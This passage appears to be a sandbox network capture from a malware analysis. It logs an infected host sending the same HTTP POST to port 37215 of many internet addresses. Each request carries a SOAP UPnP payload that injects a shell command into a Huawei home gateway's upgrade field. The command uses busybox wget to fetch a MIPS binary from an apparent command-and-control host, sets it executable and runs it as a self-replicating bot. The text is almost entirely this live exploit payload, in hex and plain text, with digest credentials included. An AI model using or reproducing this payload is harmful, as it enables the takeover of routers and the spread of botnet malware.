/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	37922	197.106.166.153	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487804890 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	46668	197.74.114.107	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487804890 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	40346	197.34.76.106	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487834930 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	55796	41.158.151.80	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487860918 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	35902	156.21.7.201	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.487916946 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	39672	156.175.54.142	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488015890 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	36656	197.147.132.168	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488043070 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	36878	197.31.149.169	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488054037 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	33060	41.233.248.58	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488075018 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	34226	41.191.196.11	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488101959 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	53508	156.108.194.67	37215

Timestamp	Bytes transferred	Direction	Data
